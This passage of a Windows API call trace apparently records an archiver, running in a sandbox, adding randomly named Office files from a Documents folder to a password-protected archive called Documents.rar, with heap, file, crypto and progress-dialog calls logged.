0x39db40 [0068.696] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.697] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.697] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655f0, Size=0x48) returned 0x39daf0 [0068.697] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.697] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.697] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.697] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.697] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65620 | out: hHeap=0x2e0000) returned 1 [0068.697] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b655f0 | out: hHeap=0x2e0000) returned 1 [0068.697] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655c0, Size=0x48) returned 0x39db40 [0068.697] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.697] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.697] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.698] GetTickCount () returned 0xa67754 [0068.698] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14403798569) returned 1 [0068.698] GetTickCount () returned 0xa67754 [0068.698] GetTickCount () returned 0xa67754 [0068.698] GetTickCount () returned 0xa67754 [0068.698] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.698] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.698] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.698] ResetEvent (hEvent=0x1a4) returned 1 [0068.698] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.699] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.700] ResetEvent (hEvent=0x1a4) returned 1 [0068.700] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.700] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.701] GetTickCount () returned 0xa67763 [0068.701] GetLastError () returned 0x0 [0068.701] SetLastError (dwErrCode=0x0) [0068.701] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.701] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.701] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.701] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.701] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14404112338) returned 1 [0068.701] GetTickCount () returned 0xa67763 [0068.701] GetLastError () returned 0x0 [0068.701] SetLastError (dwErrCode=0x0) [0068.701] GetDlgItem (hDlg=0x10278, nIDDlgItem=154) returned 0x1028a [0068.701] GetWindowTextW (in: hWnd=0x1028a, lpString=0x1cc2e0, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0068.701] SetWindowTextW (hWnd=0x1028a, lpString="00:00:01") returned 1 [0068.701] GetTickCount () returned 0xa67763 [0068.701] GetDlgItem (hDlg=0x10278, nIDDlgItem=162) returned 0x1028c [0068.701] ShowWindow (hWnd=0x1028c, nCmdShow=9) returned 0 [0068.701] GetDlgItem (hDlg=0x10278, nIDDlgItem=151) returned 0x1028e [0068.701] ShowWindow (hWnd=0x1028e, nCmdShow=9) returned 0 [0068.702] GetLastError () returned 0x0 [0068.702] SetLastError (dwErrCode=0x0) [0068.702] GetDlgItem (hDlg=0x10278, nIDDlgItem=151) returned 0x1028e [0068.702] GetWindowTextW (in: hWnd=0x1028e, lpString=0x1cc2e0, nMaxCount=2560 | out: lpString="") returned 0 [0068.702] SetWindowTextW (hWnd=0x1028e, lpString="00:00:00") returned 1 [0068.702] GetTickCount () returned 0xa67763 [0068.702] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1cd2b8 | out: ppv=0x1cd2b8*=0x3b655c0) returned 0x0 [0068.702] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b655c0, hwnd=0x10278, tbpFlags=2) returned 0x0 [0068.702] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b655c0, hwnd=0x10278, ullCompleted=0x355717, ullTotal=0x4b42ce) returned 0x0 [0068.703] TaskbarList:IUnknown:Release (This=0x3b655c0) returned 0x0 [0068.703] GetLastError () returned 0x36b7 [0068.703] SetLastError (dwErrCode=0x36b7) [0068.703] GetDlgItem (hDlg=0x10278, nIDDlgItem=157) returned 0x1029a [0068.703] GetDlgItem (hDlg=0x10278, nIDDlgItem=152) returned 0x10298 [0068.703] GetWindowTextW (in: hWnd=0x10298, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 58%") returned 5 [0068.703] SetWindowTextW (hWnd=0x10298, lpString=" 70%") returned 1 [0068.703] GetLastError () returned 0x0 [0068.703] SetLastError (dwErrCode=0x0) [0068.703] GetDlgItem (hDlg=0x10278, nIDDlgItem=164) returned 0x10294 [0068.703] GetWindowTextW (in: hWnd=0x10294, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 87%") returned 5 [0068.703] SetWindowTextW (hWnd=0x10294, lpString=" 91%") returned 1 [0068.703] SendMessageW (hWnd=0x1029a, Msg=0x402, wParam=0x46, lParam=0x0) returned 0x3a [0068.703] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.703] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.703] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.703] ResetEvent (hEvent=0x190) returned 1 [0068.703] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.704] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.704] ResetEvent (hEvent=0x190) returned 1 [0068.704] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.704] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.704] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.704] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.704] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x30f2a5 [0068.704] SetFilePointer (in: hFile=0x198, lDistanceToMove=94, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x30f303 [0068.704] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.704] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.704] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.704] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.705] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x6940, lpOverlapped=0x0) returned 1 [0068.705] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.705] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.705] SetFilePointer (in: hFile=0x198, lDistanceToMove=3207845, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x30f2a5 [0068.705] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x30f2a5 [0068.705] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.705] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.705] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655f0, Size=0x48) returned 0x39daf0 [0068.705] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.705] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.705] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655f0, Size=0x48) returned 0x39db40 [0068.705] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.705] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.705] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.705] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.705] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65620 | out: hHeap=0x2e0000) returned 1 [0068.705] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b655f0 | out: hHeap=0x2e0000) returned 1 [0068.705] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655c0, Size=0x48) returned 0x39daf0 [0068.705] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.705] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5e, lpOverlapped=0x0) returned 1 [0068.705] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.705] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5e) returned 0x3b64c20 [0068.705] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.705] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.706] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x315c43 [0068.706] CloseHandle (hObject=0x1b0) returned 1 [0068.706] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.706] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.706] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.706] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.706] FindFirstFileW (in: lpFileName="wIOu8U.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.706] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.706] CreateFileW (lpFileName="wIOu8U.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\wiou8u.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.706] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.706] GetTickCount () returned 0xa67763 [0068.706] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.706] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.706] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.706] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.706] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="TM7LU.pptx") returned 10 [0068.706] SetWindowTextW (hWnd=0x10280, lpString="wIOu8U.xlsx") returned 1 [0068.706] GetTickCount () returned 0xa67763 [0068.706] UpdateWindow (hWnd=0x10278) returned 1 [0068.706] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.707] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.707] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.707] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.707] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x13b)) [0068.707] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.707] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14404737301) returned 1 [0068.707] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x15e69, lpOverlapped=0x0) returned 1 [0068.708] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b5ea9, nNumberOfBytesToRead=0xea197, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b5ea9*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.708] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.708] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.708] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65620, Size=0x48) returned 0x39db40 [0068.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.708] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65620, Size=0x48) returned 0x39daf0 [0068.708] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.708] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.708] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65650 | out: hHeap=0x2e0000) returned 1 [0068.708] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65620 | out: hHeap=0x2e0000) returned 1 [0068.708] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655f0, Size=0x48) returned 0x39db40 [0068.708] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.708] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.708] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.709] GetTickCount () returned 0xa67763 [0068.709] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14404934024) returned 1 [0068.709] GetTickCount () returned 0xa67763 [0068.709] GetTickCount () returned 0xa67763 [0068.709] GetTickCount () returned 0xa67763 [0068.709] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.709] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.709] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.709] ResetEvent (hEvent=0x1a4) returned 1 [0068.709] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.711] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.711] ResetEvent (hEvent=0x1a4) returned 1 [0068.711] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.714] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.714] ResetEvent (hEvent=0x1a4) returned 1 [0068.714] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.717] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.717] GetTickCount () returned 0xa67773 [0068.717] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14405724578) returned 1 [0068.717] GetTickCount () returned 0xa67773 [0068.717] GetTickCount () returned 0xa67773 [0068.717] GetTickCount () returned 0xa67773 [0068.717] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.717] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.717] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.717] ResetEvent (hEvent=0x190) returned 1 [0068.717] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.718] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.718] ResetEvent (hEvent=0x190) returned 1 [0068.718] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.718] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.719] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.719] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.719] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x315c43 [0068.719] SetFilePointer (in: hFile=0x198, lDistanceToMove=95, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x315ca2 [0068.719] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.719] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.719] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.719] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.719] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x15f20, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x15f20, lpOverlapped=0x0) returned 1 [0068.720] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.720] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.720] SetFilePointer (in: hFile=0x198, lDistanceToMove=3234883, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x315c43 [0068.720] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x315c43 [0068.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.720] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65620, Size=0x48) returned 0x39daf0 [0068.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.720] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65620, Size=0x48) returned 0x39db40 [0068.720] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.720] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65620 [0068.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65650 [0068.721] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65650 | out: hHeap=0x2e0000) returned 1 [0068.721] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65620 | out: hHeap=0x2e0000) returned 1 [0068.721] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655f0, Size=0x48) returned 0x39daf0 [0068.721] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.721] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5f, lpOverlapped=0x0) returned 1 [0068.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5f) returned 0x3b64c90 [0068.721] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.721] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.721] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x32bbc2 [0068.721] CloseHandle (hObject=0x1b0) returned 1 [0068.721] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.721] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.721] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.721] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.721] FindFirstFileW (in: lpFileName="wnB9v0ottRO9k3_.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.721] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.721] CreateFileW (lpFileName="wnB9v0ottRO9k3_.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\wnb9v0ottro9k3_.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.721] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.721] GetTickCount () returned 0xa67773 [0068.721] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 